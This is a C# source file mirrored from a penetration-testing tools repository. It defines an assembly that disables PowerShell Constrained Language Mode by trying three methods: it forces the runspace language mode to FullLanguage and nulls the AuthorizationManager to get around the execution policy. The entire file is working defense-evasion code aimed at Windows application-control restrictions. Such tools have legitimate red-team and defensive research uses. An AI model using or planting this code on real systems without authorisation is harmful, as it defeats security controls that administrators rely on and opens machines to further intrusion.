mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-12-23 17:39:48 +01:00
76 lines
2.8 KiB
C#
76 lines
2.8 KiB
C#
using System;
|
|
using System.Management.Automation;
|
|
using System.Management.Automation.Runspaces;
|
|
|
|
namespace ClmDisableAssembly
|
|
{
|
|
public class ClmDisableAssembly
|
|
{
|
|
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
|
|
static extern int GetCurrentThreadId();
|
|
|
|
public static int Start(string arg)
|
|
{
|
|
Console.WriteLine("[+] Managed mode assembly. Disabling CLM globally.");
|
|
Console.WriteLine("\tCurrent thread ID (managed/unmanaged): " + System.Threading.Thread.CurrentThread.ManagedThreadId.ToString() + " / " + GetCurrentThreadId().ToString());
|
|
|
|
if (arg.Length > 0)
|
|
{
|
|
Console.WriteLine($"\tPassed argument: '{arg}'");
|
|
}
|
|
|
|
// Switches back to FullLanguage in CLM
|
|
Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
|
|
|
try
|
|
{
|
|
Runspace.DefaultRunspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
|
|
|
|
// Bypasses PowerShell execution policy
|
|
Runspace.DefaultRunspace.InitialSessionState.AuthorizationManager = null;
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Console.WriteLine("[-] Approach #1 failed: " + e);
|
|
}
|
|
|
|
try
|
|
{
|
|
Runspace runspace = RunspaceFactory.CreateRunspace();
|
|
runspace.ApartmentState = System.Threading.ApartmentState.STA;
|
|
runspace.ThreadOptions = PSThreadOptions.UseCurrentThread;
|
|
runspace.Open();
|
|
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
|
runspace.Close();
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Console.WriteLine("[-] Approach #2 failed: " + e);
|
|
}
|
|
|
|
try
|
|
{
|
|
InitialSessionState initialSessionState = InitialSessionState.CreateDefault();
|
|
initialSessionState.ApartmentState = System.Threading.ApartmentState.STA;
|
|
initialSessionState.AuthorizationManager = null;
|
|
initialSessionState.ThreadOptions = PSThreadOptions.UseCurrentThread;
|
|
|
|
using (Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState))
|
|
{
|
|
runspace.Open();
|
|
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
|
|
runspace.InitialSessionState.AuthorizationManager = null;
|
|
runspace.InitialSessionState.LanguageMode = PSLanguageMode.FullLanguage;
|
|
runspace.Close();
|
|
}
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Console.WriteLine("[-] Approach #3 failed: " + e);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
}
|
|
}
|